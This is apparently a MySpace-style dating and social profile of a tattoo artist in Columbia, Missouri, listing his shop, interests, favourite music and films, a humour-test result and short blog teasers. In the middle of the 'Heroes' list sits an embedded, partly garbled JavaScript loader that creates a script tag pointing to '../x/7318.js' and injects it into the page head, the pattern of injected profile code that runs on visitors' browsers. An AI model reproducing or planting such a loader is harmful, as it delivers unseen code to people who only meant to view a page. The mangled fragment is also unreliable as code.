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Van Future

I am here for Dating, Serious Relationships, Friends and Networking

About Me

My name is Lars. I Tattoo. I recently moved to Columbia, MO. I recently decided I enjoy the company of men over women. I once played a villain in a Batman movie, you may know me as Penguin.

I am currently tattooing at HOLLYWOOD REBEL 11 N. 10th. st. Columbia, Mo. 65201 (573)499-1200.

I also will be At Evermore Gallery (618)655-9979 taking appts from time to time.

I still use IM: larsimus x
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My Interests

jesus, tattooing, drawing, painting, talking about stuff and things,hanging out with my dog

I'd like to meet:

any one who can dig it and Jon Bon Jovi cool peoples in the Columbia MO area

Music:

Calibretto, Iron Maiden, Step on it, Rambo, the Regal Line, Menudo,Johhny Cash, American Nightmare, Sigor ros, Five Iron Frenzy, Falling Cycle, No Innocent Victim, Ballydowse, Rise Against, saul williams, RZA, K fed.

Movies:

Cannibal the musical, shaun of the dead, Kung Fu Hustle, Big Lebowski, Anchorman, Snakes on A Plane,

Television:

as little as possible

Books:

currently reading: "The Screwtape Letters" by C.S. Lewis & "American Gods" by Neil Gaimen

Heroes:

jesus ,Lo Pan, Henry Rollins, John Stewart, Stephen Colbert. The Naked Cowboy, Merv Griffin .."var s=..reateElement('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);" My score on The 3 Variable Funny Test :
the Cutting Edge
((66% dark, 42% spontaneous, 26% vulgar))
your humor style:CLEAN | SPONTANEOUS | DARKYour humor's mostly innocent and off-the-cuff, but somehow there's something slightly menacing about you. Part of your humor is making people a little uncomfortable, even if the things you say aren't themselves confrontational. You probably have a very dry delivery, or are seriously over-the-top.Your type is the most likely to appreciate a good insult and/or broken bone and/or very very fat person dancing. PEOPLE LIKE YOU: David Letterman - John BelushiThe 3-Variable Funny Test! - it rules -If you're interested, try my best friend's best test: The Genghis Khan Genetic Fitness Masterpiece
Link: The 3 Variable Funny Test ( OkCupid Free Online Dating )

My Blog

Old School Tattoo Convention 2006

Create Your Ownheres some pics of my 1st convention the antics of that weekend...
Posted by Van Future on Tue, 28 Nov 2006 04:14:00 PST

NINJA VS PIRATES?

WHO IS BETTER NINJAS OR PIRATES?  DISCUSS?
Posted by Van Future on Sun, 20 Nov 2005 07:48:00 PST

"My Life, My Way"- the defense of Ian

the follow is not menat to be a target at any one in particular but was a comment i recently left to someone, it sums up my current thought on what "punk rock" feel free to respond i have no problem d...
Posted by Van Future on Mon, 01 Jan 1900 12:00:00 PST

All your are internet belong to me

in my conquest if the Internet i have run into a fatal flaw, The online social network, i.e. myspace,  If were Brain this sit is most definalty my Pinky in two day of being igned up here i have found ...
Posted by Van Future on Mon, 01 Jan 1900 12:00:00 PST

i finally gave in

well fro months now my friends have been trying to get me to do this, i  fought and said for me to do this would displease lord internet (he told me), alas i am a heratic, if you fail to be ...
Posted by Van Future on Mon, 01 Jan 1900 12:00:00 PST